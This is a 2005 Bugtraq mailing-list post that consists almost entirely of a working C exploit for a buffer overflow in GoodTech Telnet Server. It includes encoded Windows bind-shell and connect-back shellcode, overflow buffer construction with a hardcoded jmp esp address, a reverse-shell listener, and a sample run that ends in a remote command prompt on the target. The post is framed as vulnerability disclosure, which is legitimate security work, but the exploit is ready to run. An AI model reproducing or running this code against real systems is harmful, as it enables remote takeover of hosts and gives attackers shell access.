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Message-ID: <20050316223409.20226.qmail@www.securityfocus.com>
Date: 16 Mar 2005 22:34:09 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: Re: GoodTech Telnet Server Buffer Overflow Vulnerability [EXPLOIT]


In-Reply-To: <42372CEE.1010003@...ervista.org>

/* 
 * 
 * cybertronic[at]gmx[dot]net 
 * 
 * 
 * [ cybertronic @ GoodTech ] $ gcc -o goodtech 
goodtech.c 
 * [ cybertronic @ GoodTech ] $ ./goodtech 
 * 
 * Usage 
 * ----- 
 * [ Bindshell    ] ./goodtech <host> 
 * [ Reverseshell ] ./goodtech <host> <connectback ip> 
<connectback port> 
 * 
 * [ cybertronic @ GoodTech ] $ ./goodtech 
192.168.2.102 192.168.2.101 1337 
 * 
 *               __              __                   
_ 
 *   _______  __/ /_  ___  _____/ /__________  ____  
(_)____ 
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ 
\/ / ___/ 
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /
_/ / / / / / /__ 
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/
\___/ 
 *     /____/ 
 * 
 * --[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net 
 * --[ connecting to 192.168.2.102:2380...done! 
 * --[ jmp esp -> 0x7c951eed [ntdll.dll WinXP SP]2 
 * --[ sending packet [ 10045 bytes ]...done! 
 * --[ starting reverse handler [port: 1337]...done! 
 * --[ incomming connection from:   192.168.2.102 
 * --[ b0x pwned - h4ve phun 
 * Microsoft Windows XP [Version 5.1.2600] 
 * (C) Copyright 1985-2001 Microsoft Corp. 
 * 
 * C:\GoodTech> 
 *  
 * 
 */ 
 
 
#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
 
/* 
 * 
 * definitions 
 * 
 */ 
 
#define PORT	2380 
 
#define RED		"\E[31m\E[1m" 
#define GREEN	"\E[32m\E[1m" 
#define YELLOW	"\E[33m\E[1m" 
#define BLUE	"\E[34m\E[1m" 
#define NORMAL	"\E[m" 
 
/* 
 * 
 * prototypes 
 * 
 */ 
 
int exploit ( int s, unsigned long ip, unsigned short 
cbport, int option ); 
int shell ( int s, char* tip, unsigned short cbport ); 
 
void connect_to_bindshell ( char* tip, unsigned short 
bport ); 
void header (); 
void wait ( int sec ); 
void start_reverse_handler ( char* argv3 ); 
 
/********************* 
 * Windows Shellcode * 
 *********************/ 
  
/* 
 * Type  : bind shellcode 
 * Length: 500 bytes 
 * Port  : 4444 / 0x115c 
 * 
 */ 
 
char bindshell[] = 
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36
\x80\xbf\x32" 
"\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2
\xff\xff\xff" 
"\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f
\x89\x5a\x1a" 
"\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6
\xd7\x9f\x4d" 
"\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec
\xbf\x32\xfc" 
"\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88
\x36\x74\x90" 
"\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09
\xf9\x22\x6b" 
"\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6
\xab\xcd\xe2" 
"\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6
\xa7\xcd\xe2" 
"\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6
\xa3\xcd\xe2" 
"\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6
\x9f\xcd\xe2" 
"\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6
\x9b\xcd\xe2" 
"\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6
\x97\xcd\xe2" 
"\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6
\x93\x01\x6b" 
"\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f
\xe9\x2a\xc4" 
"\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7
\xe8\x5a\x96" 
"\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7
\xec\xcd\xc2" 
"\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5
\xbf\x5a\xf7" 
"\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3
\x7f\x01\x5d" 
"\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4
\x9b\x0f\x1d" 
"\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4
\x9b\x22\xc0" 
"\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f
\xe9\x22\x1f" 
"\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6
\x93\xcd\xc2" 
"\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c
\x34\x72\x98" 
"\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b
\x17\x8a\x94" 
"\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7
\x34\x5e\xb0" 
"\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98
\x34\x68\xb4" 
"\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c
\x8c\xf2\x38" 
"\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc
\x9b\x26\xe1" 
"\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c
\xbc\xef\x1f" 
"\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd
\xe4\xf0\x90" 
"\x80\x2f\xa2\x04"; 
 
/* 
 * Type  : connect back shellcode 
 * Length: 316 bytes 
 * CBIP  : reverseshell[111] ( ^ 0x99999999 ) 
 * CBPort: reverseshell[118] ( ^ 0x9999 ) 
 * 
 */ 
 
unsigned char reverseshell[] = 
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B
\x99\xE2\xFA" 
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6
\xFD\x38\xA9" 
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91
\x12\x6E\xF3" 
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99
\x99\xF1\xEE" 
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B
\x99\x99\x99" 
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99
\x99\x66\xCF" 
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12
\x41\xF1\xE6" 
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8
\xCA\x66\xCF" 
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9
\x1A\x75\xCD" 
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89
\xDD\x67\xDD" 
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD
\xC9\x14\xDD" 
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF
\xA9\xC8\x66" 
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66
\xCF\x85\x66" 
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C
\xCB\x12\xEB" 
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96
\x27\x89\xA3" 
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86
\xEC\x7E\xC3" 
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A
\x44\x12\x9D" 
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17
\xD7\x97\x75" 
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52
\x74\x65\xA2" 
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; 
 
/* 
 * 
 * functions 
 * 
 */ 
 
int 
exploit ( int s, unsigned long xoredip, unsigned short 
xoredcbport, int option ) 
{ 
	char buffer[10046]; 
	 
	printf ( "--[ jmp esp -> 0x7c951eed [ntdll.dll 
WinXP SP]2\n" ); 
	if ( option == 0 ) 
	{ 
		memcpy ( &reverseshell[111], &xoredip, 
4); 
		memcpy ( &reverseshell[118], 
&xoredcbport, 2); 
 
		bzero ( &buffer, sizeof ( buffer ) ); 
		memset ( buffer, 0x41, 10032 ); 
		memcpy ( buffer + 46, "\x81\xc4\x54
\xf2\xff\xff", 6 ); 
		memcpy ( buffer + 52, reverseshell, 
sizeof ( reverseshell ) - 1 ); 
		strcat ( buffer, "\xed\x1e\x95
\x7c" ); // jmp esp ntdll.dll win xp sp2 
		strncat ( buffer, "\xe9\xf0\xd8\xff
\xff", 5 ); // jmp -10000 
		strcat ( buffer, "\r\n\r\n"); 
	} 
	else 
	{ 
		bzero ( &buffer, sizeof ( buffer ) ); 
		memset ( buffer, 0x41, 10032 ); 
		memcpy ( buffer + 46, "\x81\xc4\x54
\xf2\xff\xff", 6 ); 
		memcpy ( buffer + 52, bindshell, 
sizeof ( bindshell ) - 1 ); 
		strcat ( buffer, "\xed\x1e\x95
\x7c" ); // jmp esp ntdll.dll win xp sp2 
		strncat ( buffer, "\xe9\xf0\xd8\xff
\xff", 5 ); // jmp -10000 
		strcat ( buffer, "\r\n\r\n"); 
	} 
 
	printf ( "--[ sending packet [ %u bytes ]...", 
strlen ( buffer ) ); 
 
	if ( write ( s, buffer, strlen ( buffer ) ) <= 
0 ) 
	{ 
		printf ( RED "failed!\n" NORMAL); 
		return ( 1 ); 
	} 
	printf ( YELLOW "done!\n" NORMAL); 
	sleep ( 1 ); 
	close ( s ); 
	return ( 0 ); 
} 
 
int 
shell ( int s, char* tip, unsigned short cbport ) 
{ 
	int n; 
	char buffer[2048]; 
	fd_set fd_read; 
 
	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW 
"x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" 
NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL 
"v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" 
YELLOW "n" NORMAL "\n" ); 
 
	FD_ZERO ( &fd_read ); 
	FD_SET ( s, &fd_read ); 
	FD_SET ( 0, &fd_read ); 
 
	while ( 1 ) 
	{ 
		FD_SET ( s, &fd_read ); 
		FD_SET ( 0, &fd_read ); 
 
		if ( select ( s + 1, &fd_read, NULL, 
NULL, NULL ) < 0 ) 
			break; 
		if ( FD_ISSET ( s, &fd_read ) ) 
		{ 
			if ( ( n = recv ( s, buffer, 
sizeof ( buffer ), 0 ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( write ( 1, buffer, n ) < 
0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		if ( FD_ISSET ( 0, &fd_read ) ) 
		{ 
			if ( ( n = read ( 0, buffer, 
sizeof ( buffer ) ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( send ( s, buffer, n, 0 ) 
< 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		usleep(10); 
	} 
} 
 
void 
connect_to_bindshell ( char* tip, unsigned short 
bport ) 
{ 
	int s; 
	int sec = 5; // change this for fast targets 
	struct sockaddr_in remote_addr; 
	struct hostent *host_addr; 
 
	if ( ( host_addr = gethostbyname ( tip ) ) == 
NULL ) 
	{ 
		fprintf ( stderr, "cannot resolve \"%s
\"\n", tip ); 
		exit ( 1 ); 
	} 
 
	remote_addr.sin_family = AF_INET; 
	remote_addr.sin_addr   = * ( ( struct in_addr 
* ) host_addr->h_addr ); 
	remote_addr.sin_port   = htons ( bport ); 
 
	if ( ( s = socket ( AF_INET, SOCK_STREAM, 
0 ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ("--[ sleeping %d seconds before 
connecting to %s:%u...\n", sec, tip, bport ); 
	wait ( sec ); 
	printf ( "--[ connecting to %s:%u...", tip, 
bport ); 
	if ( connect ( s, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( RED "failed!\n" NORMAL); 
		exit ( 1 ); 
	} 
	printf ( YELLOW "done!\n" NORMAL); 
	shell ( s, tip, bport ); 
} 
 
void 
header () 
{ 
	printf ( "              __              __                   
_           \n" ); 
	printf ( "  _______  __/ /_  ___  _____/ /
__________  ____  (_)____      \n" ); 
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ 
___/ __ \\/ __ \\/ / ___/  \n" ); 
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /
_/ /  / /_/ / / / / / /__        \n" ); 
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/
_/   \\____/_/ /_/_/\\___/  \n" ); 
	printf ( "    /____/                                                     
\n\n" ); 
	printf ( "--[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net\n" ); 
} 
 
void 
start_reverse_handler ( char* argv3 ) 
{ 
	int s1, s2; 
	unsigned short cbport; 
	struct sockaddr_in cliaddr, servaddr; 
	socklen_t clilen = sizeof ( cliaddr ); 
 
	sscanf ( argv3, "%u", &cbport ); 
	 
	bzero ( &servaddr, sizeof ( servaddr ) ); 
	servaddr.sin_family = AF_INET; 
	servaddr.sin_addr.s_addr = htonl 
( INADDR_ANY ); 
	servaddr.sin_port = htons ( cbport ); 
 
	printf ( "--[ starting reverse handler [port: 
%u]...", cbport ); 
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 
0 ) ) == -1 ) 
	{ 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	bind ( s1, ( struct sockaddr * ) &servaddr, 
sizeof ( servaddr ) ); 
	if ( listen ( s1, 1 ) == -1 ) 
	{ 
		printf ( "listen failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( YELLOW "done!\n" NORMAL); 
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) 
&cliaddr, &clilen ) ) < 0 ) 
	{ 
		printf ( "accept failed!\n" ); 
		exit ( 1 ); 
	} 
	close ( s1 ); 
	printf ( "--[ incomming connection from:\t" 
YELLOW " %s\n" NORMAL, inet_ntoa 
( cliaddr.sin_addr ) ); 
	shell ( s2, ( char* ) inet_ntoa 
( cliaddr.sin_addr ), cbport ); 
	close ( s2 ); 
} 
 
void 
wait ( int sec ) 
{ 
	sleep ( sec ); 
} 
 
int 
main ( int argc, char* argv[] ) 
{ 
 
	int s; 
	unsigned long xoredip; 
	unsigned short xoredcbport; 
	struct sockaddr_in remote_addr; 
	struct hostent *host_addr; 
 
	if ( argc != 2 ) 
		if ( argc != 4 ) 
		{ 
			fprintf ( stderr, "\nUsage
\n-----\n[ Bindshell    ] %s <host>\n[ Reverseshell ] 
%s <host> <connectback ip> <connectback port>\n\n", 
argv[0], argv[0] ); 
			exit ( 1 ); 
		} 
 
	if ( ( host_addr = gethostbyname ( argv[1] ) ) 
== NULL ) 
	{ 
		fprintf ( stderr, "cannot resolve \"%s
\"\n", argv[1] ); 
		exit ( 1 ); 
	} 
	remote_addr.sin_family = AF_INET; 
	remote_addr.sin_addr   = * ( ( struct in_addr 
* ) host_addr->h_addr ); 
	remote_addr.sin_port   = htons ( PORT ); 
 
	system ( "clear" ); 
	header (); 
 
	if ( ( s = socket ( AF_INET, SOCK_STREAM, 
0 ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
 
	printf ( "--[ connecting to %s:%u...", 
argv[1], PORT  ); 
	if ( connect ( s, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( "failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( YELLOW "done!\n" NORMAL); 
	 
	if ( argc == 4 ) 
	{ 
		xoredip = inet_addr ( argv[2] ) ^ 
( unsigned long ) 0x99999999; 
		xoredcbport = htons ( atoi 
( argv[3] ) ) ^ ( unsigned short ) 0x9999; 
		if ( exploit ( s, xoredip, 
xoredcbport, 0 ) == 1 ) 
		{ 
			printf ( "exploitation FAILED!
\n" ); 
			exit ( 1 ); 
		} 
		start_reverse_handler ( argv[3] ); 
	} 
	else 
	{ 
		if ( exploit ( s, ( unsigned long ) 
NULL, ( unsigned short ) NULL, 1 ) == 1 ) 
		{ 
			printf ( "exploitation FAILED!
\n" ); 
			exit ( 1 ); 
		} 
		connect_to_bindshell ( argv[1], 
4444 ); 
	} 
} 
 


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